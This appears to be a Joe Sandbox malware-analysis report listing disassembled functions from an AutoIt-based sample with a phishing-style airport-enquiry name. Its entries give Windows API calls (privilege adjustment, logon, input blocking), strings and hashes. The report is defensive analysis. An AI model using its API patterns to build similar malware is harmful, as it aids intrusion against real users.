Function 00CEC93C Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00CEC966
FindClose.KERNEL32(00000000), ref: 00CEC996

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 69a1e1bdb6cde1db97efbc3a20bb30e6f81ac1393ef725ee73f825c665f80c4b
Instruction ID: 90bacfac2496df65c445c183b097eff28eb7bb74c00f2adac0ef612b63885896
Opcode Fuzzy Hash: 69a1e1bdb6cde1db97efbc3a20bb30e6f81ac1393ef725ee73f825c665f80c4b
Instruction Fuzzy Hash: B911A1326102009FD710EF29C885A2AF7E9FF84324F04851EF9AAD7391DB30AC01DB95

Function 00CEA2D5 Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00CF977D,?,00D0FB84,?), ref: 00CEA302
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00CF977D,?,00D0FB84,?), ref: 00CEA314

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 8a7aa38f57ff4502626f5123198422919d4b74b2f48fb9a2317a063df22244b0
Instruction ID: 2116e99dbed6ce2182b3be6004131b9376ec58f751b71201f4f84b62d8f6c991
Opcode Fuzzy Hash: 8a7aa38f57ff4502626f5123198422919d4b74b2f48fb9a2317a063df22244b0
Instruction Fuzzy Hash: 62F0823554532DABDB20AFA5CC48FEA776DFF08761F004266F918D6291D630E940CBB1

Function 00CD8713 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00CD8851), ref: 00CD8728
CloseHandle.KERNEL32(?,?,00CD8851), ref: 00CD873A

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 880379727a5edaab4c3dd5d68adcd8ffa8136dd234d665853f177b20294439b6
Instruction ID: 05b515a930b215ac76e235837a1be96650530409a3ea39ed003ddda21e41c4da
Opcode Fuzzy Hash: 880379727a5edaab4c3dd5d68adcd8ffa8136dd234d665853f177b20294439b6
Instruction Fuzzy Hash: 27E0BF75010611EEE7352B60EC05E7777A9EB04754B258429F966C0570DB616C90DB10

Function 00CAA395 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00CA8F97,?,?,?,00000001), ref: 00CAA39A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00CAA3A3

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8128ccbb884019d29d92628b14791a20652ec7e0ce4d2ac2014e6d786b8a31e7
Instruction ID: 41c04fba83096621bbbd216ea53b6a7dd1f5c93dd2fc97a0ec00bf3b14434663
Opcode Fuzzy Hash: 8128ccbb884019d29d92628b14791a20652ec7e0ce4d2ac2014e6d786b8a31e7
Instruction Fuzzy Hash: F2B09231058308ABCA102B91EC09B883F68EB45AB2F504020F60DC4A60CBA254508AA1

Function 00CAF419 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70b6a18a3364060ea0bc331e03da43af5368f37fb988249d5567dec8d570bf2a
Instruction ID: 88fca77d2b935128eda1cfc7ba7201d097479bf173bb9b710f3942761a763bf7
Opcode Fuzzy Hash: 70b6a18a3364060ea0bc331e03da43af5368f37fb988249d5567dec8d570bf2a
Instruction Fuzzy Hash: CB323521D69F025DD7239635D932336A258AFB73D8F14D73BE829B5AA6EF38C5830110

Function 00CB267E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 192bc55613b87d403f92a6970f8248c9b81096689fd47d82499131c82a430c3e
Instruction ID: 17396cec3a38a0861212bd475e75c5d19e38597c7d5a3bf37617290cd4787b90
Opcode Fuzzy Hash: 192bc55613b87d403f92a6970f8248c9b81096689fd47d82499131c82a430c3e
Instruction Fuzzy Hash: CAB1FF20E2AF515DD32396398831336FA4CAFBB2D5F51D71BFC2AB4E22EB2185834141

Function 00CE8B13 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 00CE8B25

Part of subcall function 00CA543A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00CE91F8,00000000,?,?,?,?,00CE93A9,00000000,?), ref: 00CA5443
Part of subcall function 00CA543A: __aulldiv.LIBCMT ref: 00CA5463

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID:
API String ID: 2893107130-0
Opcode ID: f5b9d6f50007009c7e4f90014ec854de2c039ec86f6fadbb77d8d38aebad5d9e
Instruction ID: 2ba59dcd7be95ad334f05f6d67d2133c8cca5a0f6f965e22ae88b5febfd8a7b8
Opcode Fuzzy Hash: f5b9d6f50007009c7e4f90014ec854de2c039ec86f6fadbb77d8d38aebad5d9e
Instruction Fuzzy Hash: CA21E4726356108FC729CF25D841A52B3E1EBA5321B288E6CD1F9CF2D0CA74B945CB94

Function 00CF41FD Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00CF4218

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 3c62c53809bd3769f6bc6e501dbaf54252fbc2cf97c8312acab1948ed8fbb619
Instruction ID: d3ddaf8c2a1ae355953561567b5eea359384ace71fd5af7b1ea2757a8ab9a110
Opcode Fuzzy Hash: 3c62c53809bd3769f6bc6e501dbaf54252fbc2cf97c8312acab1948ed8fbb619
Instruction Fuzzy Hash: 3EE04F312402189FC714EF5AD844AABF7E8EF94760F05802AFD4AC7352DA71E840DBA1

Function 00CE4EC9 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00CE4EEC

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: f31960e22be2db53703bd0dde0da757fd817155b101ac75ef45ecccc1dd11be8
Instruction ID: 803809828143461573cff8764872c24552217c012657092a28fb03ac90ab1e1c
Opcode Fuzzy Hash: f31960e22be2db53703bd0dde0da757fd817155b101ac75ef45ecccc1dd11be8
Instruction Fuzzy Hash: C0D052A91607887AEC2C8B239C5FF778208F300782FE0428AB112CB5C2E8D06D50A030

Function 00CD8C93 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00CD88D1), ref: 00CD8CB3

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 2241b4734811c0e0754c347f2cc542201fd4149eb8b0d162542388e532d2bcac
Instruction ID: 5c9790ed6637460984094400e1ab5ac90e0d1a63e34b5392983ab5eed13241f7
Opcode Fuzzy Hash: 2241b4734811c0e0754c347f2cc542201fd4149eb8b0d162542388e532d2bcac
Instruction Fuzzy Hash: 06D05E3226060EABEF018FA4DC01EAF3B69EB04B01F408111FE15C51A1C775D835AB60

Function 00CC2230 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00CC2242

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 381e4444571f8922ba8b874fbbdaa35c089be0ba52fb18c33ac5d69880b5121a
Instruction ID: da212955ea2e6ee2ca5ac0a941b1e65eee931a35749310f8b58abc771d11761b
Opcode Fuzzy Hash: 381e4444571f8922ba8b874fbbdaa35c089be0ba52fb18c33ac5d69880b5121a
Instruction Fuzzy Hash: 82C04CF1C00209DBDB15DB91DA98EEE77BCAB04304F244055E545F2101D7749B448E71

Function 00CAA364 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00CAA36A

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 05ccd86343f9d38f44e16c11c7dc667c41c26e2cdd420e48466613b1c3b51a80
Instruction ID: 34fa88be6f74b1c3f5c54da05f45746a193a4569a1a16ea26ad716b21613cf1b
Opcode Fuzzy Hash: 05ccd86343f9d38f44e16c11c7dc667c41c26e2cdd420e48466613b1c3b51a80
Instruction Fuzzy Hash: DBA0123000420CA7CA001B41EC044447F5CD6001A07004020F40C80521877254104590

Function 00C98A0E Relevance: .6, Instructions: 608COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f9557c4532e407b5fb62d6a0d3fef92c06b52312604ccd357fb70f03906a981
Instruction ID: 97fbc0fbb39056a436b558d7414e8c087eb94ce4b76232dd6194e80e3e674001
Opcode Fuzzy Hash: 1f9557c4532e407b5fb62d6a0d3fef92c06b52312604ccd357fb70f03906a981
Instruction Fuzzy Hash: 40223830905616CBDF388F29C49867DB7A1EB03340F68486BD9629B391DB34DF89DB60

Function 00CA2405 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 39ed6937710466dccc3d9cb9d415663a8b4aa4824c1e4f3b875890851f3c1d08
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 10C181322050B309DB6D467ED83413EBAE15AA37B531E075DE8B3CB5D4EF20D664E620

Function 00CA283A Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: 58d3aad2247bf103394de673fb7e0b70fcf56e5a7566a7e1d90fd23ece6baa4d
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: E8C184322051B30ADB6D467E983403EBBE15A937B531E075DE8B3DB5D4EF20D624A620

Function 00CA1BB8 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: dc8c64014096cbe2a691029a3e2e99a98377c9ef8dd0374b1a74baf7160e1a85
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 21C172322051A30DDF6D467A983403EBAE15AA37B971E076DECB3CB5D4EF20D624D620

Function 00CF7B1B Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00CF7B70
DeleteObject.GDI32(00000000), ref: 00CF7B82
DestroyWindow.USER32 ref: 00CF7B90
GetDesktopWindow.USER32 ref: 00CF7BAA
GetWindowRect.USER32(00000000), ref: 00CF7BB1
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 00CF7CF2
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 00CF7D02
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00CF7D4A
GetClientRect.USER32(00000000,?), ref: 00CF7D56
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00CF7D90
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00CF7DB2
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00CF7DC5
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00CF7DD0
GlobalLock.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00CF7DD9
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00CF7DE8
GlobalUnlock.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00CF7DF1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00CF7DF8
GlobalFree.KERNEL32(00000000), ref: 00CF7E03
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00CF7E15
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00D12CAC,00000000), ref: 00CF7E2B
GlobalFree.KERNEL32(00000000), ref: 00CF7E3B
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00CF7E61
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00CF7E80
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00CF7EA2
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00CF808F

Strings

, xrefs: 00CF8015
DISPLAY, xrefs: 00CF7EF2
AutoIt v3, xrefs: 00CF7D42
static, xrefs: 00CF7D8A, 00CF7EE1

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 77cdf3c9e46e7422dca4353c369c5496102b8b7641749205002c1afc85f44188
Instruction ID: b88a75e08b49f9d718fcca3053e056f3f63f3bcc0681f0379ab621905f318fea
Opcode Fuzzy Hash: 77cdf3c9e46e7422dca4353c369c5496102b8b7641749205002c1afc85f44188
Instruction Fuzzy Hash: 09027C75900209EFDB14DFA4CC89EAE7BB9EB49314F148158F919EB3A1CB71AD01CB61

Function 00D037F3 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,00D0F910), ref: 00D038AF
IsWindowVisible.USER32(?), ref: 00D038D3

Strings

SETCURRENTSELECTION, xrefs: 00D03A3E
EDITPASTE, xrefs: 00D03BE7
GETSELECTED, xrefs: 00D03B2B
FINDSTRING, xrefs: 00D039FE
ADDSTRING, xrefs: 00D0399E
ISCHECKED, xrefs: 00D03AC1
SHOWDROPDOWN, xrefs: 00D03968
UNCHECK, xrefs: 00D03B0B
GETCURRENTSELECTION, xrefs: 00D03A6B
HIDEDROPDOWN, xrefs: 00D03988
TABRIGHT, xrefs: 00D03925
ISVISIBLE, xrefs: 00D038BF
CHECK, xrefs: 00D03AF5
SENDCOMMANDID, xrefs: 00D03C62
GETCURRENTCOL, xrefs: 00D03BB0
GETLINE, xrefs: 00D03C23
GETLINECOUNT, xrefs: 00D03B4E
SELECTSTRING, xrefs: 00D03A8E
ISENABLED, xrefs: 00D038F3
CURRENTTAB, xrefs: 00D03945
GETCURRENTLINE, xrefs: 00D03B75
DELSTRING, xrefs: 00D039D1
TABLEFT, xrefs: 00D0390F

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

